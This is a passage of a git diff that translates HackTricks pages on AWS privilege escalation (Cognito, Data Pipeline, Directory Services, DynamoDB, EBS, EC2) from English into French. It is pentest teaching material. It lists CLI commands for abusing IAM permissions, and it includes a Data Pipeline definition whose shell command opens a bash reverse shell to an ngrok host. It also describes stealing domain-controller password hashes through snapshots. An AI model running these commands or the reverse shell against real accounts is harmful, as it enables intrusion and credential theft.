-
-**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool.
+**Impact potentiel** : Compromettre le rôle IAM authentifié configuré à l'intérieur du pool d'identité.
 
 ### `cognito-idp:AdminAddUserToGroup`
 
-This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**:
-
+Cette permission permet de **ajouter un utilisateur Cognito à un groupe Cognito**, donc un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrôle à d'autres groupes avec des **meilleures** privilèges ou **différents rôles IAM** :
 ```bash
 aws cognito-idp admin-add-user-to-group \
-    --user-pool-id <value> \
-    --username <value> \
-    --group-name <value>
+--user-pool-id <value> \
+--username <value> \
+--group-name <value>
 ```
-
-**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups.
+**Impact potentiel :** Privesc vers d'autres groupes Cognito et rôles IAM attachés aux groupes de User Pool.
 
 ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
 
-An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles:
-
+Un attaquant avec ces permissions pourrait **créer/met à jour des groupes** avec **chaque rôle IAM qui peut être utilisé par un fournisseur d'identité Cognito compromis** et faire d'un utilisateur compromis un membre du groupe, accédant à tous ces rôles :
 ```bash
 aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
 ```
-
-**Potential Impact:** Privesc to other Cognito IAM roles.
+**Impact potentiel :** Privesc vers d'autres rôles IAM Cognito.
 
 ### `cognito-idp:AdminConfirmSignUp`
 
-This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission.
-
+Cette permission permet de **vérifier une inscription**. Par défaut, tout le monde peut se connecter aux applications Cognito, si cela est laissé, un utilisateur pourrait créer un compte avec n'importe quelles données et le vérifier avec cette permission.
 ```bash
 aws cognito-idp admin-confirm-sign-up \
-    --user-pool-id <value> \
-    --username <value>
+--user-pool-id <value> \
+--username <value>
 ```
-
-**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account.
+**Impact potentiel :** Privesc indirect au rôle IAM du pool d'identité pour les utilisateurs authentifiés si vous pouvez enregistrer un nouvel utilisateur. Privesc indirect à d'autres fonctionnalités de l'application en pouvant confirmer n'importe quel compte.
 
 ### `cognito-idp:AdminCreateUser`
 
-This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password.
-
+Cette permission permettrait à un attaquant de créer un nouvel utilisateur dans le pool d'utilisateurs. Le nouvel utilisateur est créé comme activé, mais devra changer son mot de passe.
 ```bash
 aws cognito-idp admin-create-user \
-    --user-pool-id <value> \
-    --username <value> \
-    [--user-attributes <value>] ([Name=email,Value=email@gmail.com])
-    [--validation-data <value>]
-    [--temporary-password <value>]
+--user-pool-id <value> \
+--username <value> \
+[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
+[--validation-data <value>]
+[--temporary-password <value>]
 ```
-
-**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user
+**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.
 
 ### `cognito-idp:AdminEnableUser`
 
-This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**.
-
+Cette permission peut aider dans un scénario très particulier où un attaquant a trouvé les identifiants d'un utilisateur désactivé et il doit **le réactiver**.
 ```bash
 aws cognito-idp admin-enable-user \
-    --user-pool-id <value> \
-    --username <value>
+--user-pool-id <value> \
+--username <value>
 ```
-
-**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.
+**Impact potentiel :** Privesc indirect au rôle IAM du pool d'identité pour les utilisateurs authentifiés et permissions de l'utilisateur si l'attaquant avait des identifiants pour un utilisateur désactivé.
 
 ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
 
-This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link.
+Cette permission permet de se connecter avec la [**méthode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Pour plus d'informations, suivez le lien.
 
 ### `cognito-idp:AdminSetUserPassword`
 
-This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled).
-
+Cette permission permettrait à un attaquant de **changer le mot de passe de n'importe quel utilisateur**, lui permettant d'usurper l'identité de n'importe quel utilisateur (qui n'a pas MFA activé).
 ```bash
 aws cognito-idp admin-set-user-password \
-    --user-pool-id <value> \
-    --username <value> \
-    --password <value> \
-    --permanent
+--user-pool-id <value> \
+--username <value> \
+--password <value> \
+--permanent
 ```
-
-**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role.
+**Impact potentiel :** Privesc direct vers potentiellement n'importe quel utilisateur, donc accès à tous les groupes dont chaque utilisateur est membre et accès au rôle IAM authentifié de l'Identity Pool.
 
 ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
 
-**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**.
-
+**AdminSetUserSettings** : Un attaquant pourrait potentiellement abuser de cette permission pour définir un téléphone mobile sous son contrôle comme **SMS MFA d'un utilisateur**.
 ```bash
 aws cognito-idp admin-set-user-settings \
-    --user-pool-id <value> \
-    --username <value> \
-    --mfa-options <value>
+--user-pool-id <value> \
+--username <value> \
+--mfa-options <value>
 ```
-
-**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection.
-
+**SetUserMFAPreference :** Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un utilisateur afin de contourner la protection MFA.
 ```bash
 aws cognito-idp admin-set-user-mfa-preference \
-    [--sms-mfa-settings <value>] \
-    [--software-token-mfa-settings <value>] \
-    --username <value> \
-    --user-pool-id <value>
+[--sms-mfa-settings <value>] \
+[--software-token-mfa-settings <value>] \
+--username <value> \
+--user-pool-id <value>
 ```
-
-**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection.
-
+**SetUserPoolMfaConfig**: Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un groupe d'utilisateurs afin de contourner la protection MFA.
 ```bash
 aws cognito-idp set-user-pool-mfa-config \
-    --user-pool-id <value> \
-    [--sms-mfa-configuration <value>] \
-    [--software-token-mfa-configuration <value>] \
-    [--mfa-configuration <value>]
+--user-pool-id <value> \
+[--sms-mfa-configuration <value>] \
+[--software-token-mfa-configuration <value>] \
+[--mfa-configuration <value>]
 ```
+**UpdateUserPool :** Il est également possible de mettre à jour le pool d'utilisateurs pour changer la politique MFA. [Vérifiez cli ici](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
 
-**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-
-**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection.
+**Impact potentiel :** Privesc indirect vers potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, cela pourrait permettre de contourner la protection MFA.
 
 ### `cognito-idp:AdminUpdateUserAttributes`
 
-An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\
-This allows to change an email or phone number and set it as verified.
-
+Un attaquant avec cette permission pourrait changer l'email ou le numéro de téléphone ou tout autre attribut d'un utilisateur sous son contrôle pour essayer d'obtenir plus de privilèges dans une application sous-jacente.\
+Cela permet de changer un email ou un numéro de téléphone et de le définir comme vérifié.
 ```bash
 aws cognito-idp admin-update-user-attributes \
-    --user-pool-id <value> \
-    --username <value> \
-    --user-attributes <value>
+--user-pool-id <value> \
+--username <value> \
+--user-attributes <value>
 ```
-
-**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes.
+**Impact potentiel :** Privesc indirect potentiel dans l'application sous-jacente utilisant Cognito User Pool qui donne des privilèges basés sur les attributs des utilisateurs.
 
 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
 
-An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period...
+Un attaquant avec cette permission pourrait **créer un nouveau Client User Pool moins restreint** que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode d'authentification, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue...
 
-The same can be be don if instead of creating a new client, an **existing one is modified**.
-
-In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!.
+La même chose peut être faite si au lieu de créer un nouveau client, un **client existant est modifié**.
 
+Dans la [**ligne de commande**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou le [**client de mise à jour**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)), vous pouvez voir toutes les options, vérifiez-le !
 ```bash
 aws cognito-idp create-user-pool-client \
-    --user-pool-id <value> \
-    --client-name <value> \
-    [...]
+--user-pool-id <value> \
+--client-name <value> \
+[...]
 ```
-
-**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create.
+**Impact potentiel :** Privesc indirect potentiel vers l'utilisateur autorisé du Identity Pool utilisé par le User Pool en créant un nouveau client qui assouplit les mesures de sécurité et permet à un attaquant de se connecter avec un utilisateur qu'il a pu créer.
 
 ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
 
-An attacker could abuse this permission to create users y uploading a csv with new users.
-
+Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléchargeant un csv avec de nouveaux utilisateurs.
 ```bash
 # Create a new import job
 aws cognito-idp create-user-import-job \
-    --job-name <value> \
-    --user-pool-id <value> \
-    --cloud-watch-logs-role-arn <value>
+--job-name <value> \
+--user-pool-id <value> \
+--cloud-watch-logs-role-arn <value>
 
 # Use a new import job
 aws cognito-idp start-user-import-job \
-    --user-pool-id <value> \
-    --job-id <value>
+--user-pool-id <value> \
+--job-id <value>
 
 # Both options before will give you a URL where you can send the CVS file with the users to create
 curl -v -T "PATH_TO_CSV_FILE" \
-    -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
 ```
+(Dans le cas où vous créez un nouveau travail d'importation, vous pourriez également avoir besoin de la permission iam passrole, je ne l'ai pas encore testée).
 
-(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet).
-
-**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.
+**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.
 
 ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
 
-An attacker could create a new identity provider to then be able to **login through this provider**.
-
+Un attaquant pourrait créer un nouveau fournisseur d'identité pour ensuite pouvoir **se connecter via ce fournisseur**.
 ```bash
 aws cognito-idp create-identity-provider \
-    --user-pool-id <value> \
-    --provider-name <value> \
-    --provider-type <value> \
-    --provider-details <value> \
-    [--attribute-mapping <value>] \
-    [--idp-identifiers <value>]
+--user-pool-id <value> \
+--provider-name <value> \
+--provider-type <value> \
+--provider-details <value> \
+[--attribute-mapping <value>] \
+[--idp-identifiers <value>]
 ```
+**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.
 
-**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.
+### cognito-sync:\* Analyse
 
-### cognito-sync:\* Analysis
+C'est une permission très courante par défaut dans les rôles des pools d'identité Cognito. Même si un caractère générique dans une permission semble toujours mauvais (surtout venant d'AWS), les **permissions données ne sont pas super utiles du point de vue d'un attaquant**.
 
-This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**.
+Cette permission permet de lire les informations d'utilisation des pools d'identité et des ID d'identité à l'intérieur des pools d'identité (qui ne sont pas des informations sensibles).\
+Les ID d'identité peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS le définit comme un **jeu sauvegardé**). Il est possible que cela contienne une sorte d'informations sensibles (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../aws-services/aws-cognito-enum/) comment accéder à ces informations.
 
-This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\
-Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information.
+Un attaquant pourrait également utiliser ces permissions pour **s'inscrire à un flux Cognito qui publie des changements** sur ces datasets ou à une **lambda qui se déclenche sur des événements cognito**. Je n'ai pas vu cela être utilisé, et je ne m'attendrais pas à des informations sensibles ici, mais ce n'est pas impossible.
 
-An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.
+### Outils automatiques
 
-### Automatic Tools
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc.
 
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
+Pour une description des fonctions des modules, voir la partie 2 du [post de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 
-For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
-
-#### Usage
-
-Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
+#### Utilisation
 
+Exemple d'utilisation de cognito\_\_attack pour tenter la création d'utilisateur et tous les vecteurs de privesc contre un pool d'identité et un client de pool d'utilisateur donnés :
 ```bash
 Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-
-Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
-
+Exemple d'utilisation de cognito\_\_enum pour rassembler tous les groupes d'utilisateurs, les clients de groupes d'utilisateurs, les groupes d'identité, les utilisateurs, etc. visibles dans le compte AWS actuel :
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
-
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris une élévation de privilèges.
 
 #### Installation
-
 ```bash
 $ pip install cognito-scanner
 ```
-
-#### Usage
-
+#### Utilisation
 ```bash
 $ cognito-scanner --help
 ```
-
-For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+Pour plus d'informations, consultez [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index 82c82682e..df8eea871 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -4,7 +4,7 @@
 
 ## datapipeline
 
-For more info about datapipeline check:
+Pour plus d'informations sur datapipeline, consultez :
 
 {{#ref}}
 ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,67 +12,57 @@ For more info about datapipeline check:
 
 ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
 
-Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:**
-
+Les utilisateurs avec ces **permissions peuvent élever leurs privilèges en créant un Data Pipeline** pour exécuter des commandes arbitraires en utilisant les **permissions du rôle assigné :**
 ```bash
 aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 ```
-
-After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations:
-
+Après la création du pipeline, l'attaquant met à jour sa définition pour dicter des actions spécifiques ou des créations de ressources :
 ```json
 {
-  "objects": [
-    {
-      "id": "CreateDirectory",
-      "type": "ShellCommandActivity",
-      "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
-      "runsOn": { "ref": "instance" }
-    },
-    {
-      "id": "Default",
-      "scheduleType": "ondemand",
-      "failureAndRerunMode": "CASCADE",
-      "name": "Default",
-      "role": "assumable_datapipeline",
-      "resourceRole": "assumable_datapipeline"
-    },
-    {
-      "id": "instance",
-      "name": "instance",
-      "type": "Ec2Resource",
-      "actionOnTaskFailure": "terminate",
-      "actionOnResourceFailure": "retryAll",
-      "maximumRetries": "1",
-      "instanceType": "t2.micro",
-      "securityGroups": ["default"],
-      "role": "assumable_datapipeline",
-      "resourceRole": "assumable_ec2_profile_instance"
-    }
-  ]
+"objects": [
+{
+"id": "CreateDirectory",
+"type": "ShellCommandActivity",
+"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
+"runsOn": { "ref": "instance" }
+},
+{
+"id": "Default",
+"scheduleType": "ondemand",
+"failureAndRerunMode": "CASCADE",
+"name": "Default",
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_datapipeline"
+},
+{
+"id": "instance",
+"name": "instance",
+"type": "Ec2Resource",
+"actionOnTaskFailure": "terminate",
+"actionOnResourceFailure": "retryAll",
+"maximumRetries": "1",
+"instanceType": "t2.micro",
+"securityGroups": ["default"],
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_ec2_profile_instance"
+}
+]
 }
 ```
-
 > [!NOTE]
-> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
+> Notez que le **rôle** dans **les lignes 14, 15 et 27** doit être un rôle **assumable par datapipeline.amazonaws.com** et le rôle dans **la ligne 28** doit être un **rôle assumable par ec2.amazonaws.com avec un profil d'instance EC2**.
 >
-> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one).
-
+> De plus, l'instance EC2 n'aura accès qu'au rôle assumable par l'instance EC2 (vous ne pouvez donc voler que celui-ci).
 ```bash
 aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
-    --pipeline-definition file:///pipeline/definition.json
+--pipeline-definition file:///pipeline/definition.json
 ```
+Le **fichier de définition de pipeline, conçu par l'attaquant, inclut des directives pour exécuter des commandes** ou créer des ressources via l'API AWS, tirant parti des autorisations de rôle du Data Pipeline pour potentiellement obtenir des privilèges supplémentaires.
 
-The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges.
+**Impact potentiel :** Privesc direct au rôle de service ec2 spécifié.
 
-**Potential Impact:** Direct privesc to the ec2 service role specified.
-
-## References
+## Références
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index ce24095ed..508f6571d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Directory Services
+## Services d'annuaire
 
-For more info about directory services check:
+Pour plus d'informations sur les services d'annuaire, consultez :
 
 {{#ref}}
 ../aws-services/aws-directory-services-workdocs-enum.md
@@ -12,27 +12,21 @@ For more info about directory services check:
 
 ### `ds:ResetUserPassword`
 
-This permission allows to **change** the **password** of any **existent** user in the Active Directory.\
-By default, the only existent user is **Admin**.
-
+Cette permission permet de **changer** le **mot de passe** de tout **utilisateur existant** dans l'Active Directory.\
+Par défaut, le seul utilisateur existant est **Admin**.
 ```
 aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
 ```
-
 ### AWS Management Console
 
-It's possible to enable an **application access URL** that users from AD can access to login:
+Il est possible d'activer une **URL d'accès à l'application** à laquelle les utilisateurs d'AD peuvent accéder pour se connecter :
 
 <figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
 
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console:
+Et ensuite **leur accorder un rôle AWS IAM** pour lorsqu'ils se connectent, de cette manière un utilisateur/groupe AD aura accès à la console de gestion AWS :
 
 <figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
 
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission
+Il n'y a apparemment aucun moyen d'activer l'URL d'accès à l'application, la console de gestion AWS et d'accorder des autorisations
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index b4af46712..e9cedf67b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -4,7 +4,7 @@
 
 ## dynamodb
 
-For more info about dynamodb check:
+Pour plus d'informations sur dynamodb, consultez :
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
@@ -12,16 +12,12 @@ For more info about dynamodb check:
 
 ### Post Exploitation
 
-As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
+Autant que je sache, il n'y a **aucun moyen direct d'escalader les privilèges dans AWS simplement en ayant quelques permissions `dynamodb` AWS**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
 {{#endref}}
 
-### TODO: Read data abusing data Streams
+### TODO: Lire des données en abusant des flux de données
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index 36ea3bc53..c5d0ca72d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,26 +6,22 @@
 
 ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
 
-An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in:
+Un attaquant disposant de ces permissions pourra potentiellement **télécharger et analyser les snapshots de volumes localement** et rechercher des informations sensibles dans ceux-ci (comme des secrets ou du code source). Découvrez comment faire cela dans :
 
 {{#ref}}
 ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
 {{#endref}}
 
-Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+D'autres permissions peuvent également être utiles telles que : `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
 
-The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**.
+L'outil [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) effectue cette attaque pour **extraire des mots de passe d'un contrôleur de domaine**.
 
-**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords).
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le snapshot (vous pourriez même obtenir des mots de passe Active Directory).
 
 ### **`ec2:CreateSnapshot`**
 
-Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
+Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs de domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket.
 
-You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
+Vous pouvez utiliser cet outil pour automatiser l'attaque : [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou vous pourriez utiliser l'une des techniques précédentes après avoir créé un snapshot.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index ad31bde00..5d60ce7d9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -4,7 +4,7 @@
 
 ## EC2
 
-For more **info about EC2** check:
+Pour plus d'**informations sur EC2**, consultez :
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,51 +12,46 @@ For more **info about EC2** check:
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint.
+Un attaquant pourrait **créer une instance en attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis le point de terminaison des métadonnées.
 
-- **Access via SSH**
-
-Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`).
+- **Accès via SSH**
 
+Lancez une nouvelle instance en utilisant une **clé ssh** **créée** (`--key-name`) puis connectez-vous via ssh (si vous souhaitez en créer une nouvelle, vous devrez peut-être avoir la permission `ec2:CreateKeyPair`).
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
-    --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
-    --security-group-ids <sg-id>
